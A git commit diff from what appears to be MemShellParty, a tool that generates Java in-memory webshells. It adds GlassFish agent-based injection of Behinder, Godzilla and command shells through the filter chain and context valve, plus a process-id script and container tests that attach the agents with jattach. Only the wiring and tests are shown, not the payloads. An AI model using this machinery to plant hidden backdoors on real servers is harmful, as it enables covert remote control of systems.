mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter 2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke 3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
This commit is contained in:
@@ -7,11 +7,16 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||||
|
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -32,7 +37,9 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
|
LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
|
||||||
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
|
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
|
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -44,7 +51,9 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
|
LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
|
||||||
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
|
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
|
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -56,7 +65,9 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
|
LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
|
||||||
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
|
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
|
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Executable
+2
@@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
jps | grep -E "ASMain|GlassFishMain" | awk '{print $1}' | tr -d '\n'
|
||||||
@@ -26,6 +26,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
|
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
|
||||||
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh"));
|
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh"));
|
||||||
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh"));
|
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh"));
|
||||||
|
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script/glassfish_pid.sh"));
|
||||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
|
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
|
||||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
||||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
||||||
|
|||||||
+12
-4
@@ -19,8 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -38,6 +37,8 @@ public class GlassFish3ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -65,7 +66,14 @@ public class GlassFish3ContainerTest {
|
|||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -79,6 +87,6 @@ public class GlassFish3ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+12
-4
@@ -19,8 +19,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -38,6 +38,8 @@ public class GlassFish4ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -65,7 +67,13 @@ public class GlassFish4ContainerTest {
|
|||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -79,6 +87,6 @@ public class GlassFish4ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-4
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +35,8 @@ public class GlassFish501ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,7 +59,13 @@ public class GlassFish501ContainerTest {
|
|||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,6 +78,6 @@ public class GlassFish501ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+13
-4
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +35,8 @@ public class GlassFish510ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -64,19 +65,27 @@ public class GlassFish510ContainerTest {
|
|||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+12
-4
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class GlassFish6ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,7 +60,13 @@ public class GlassFish6ContainerTest {
|
|||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,6 +79,6 @@ public class GlassFish6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+12
-4
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class GlassFish7ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
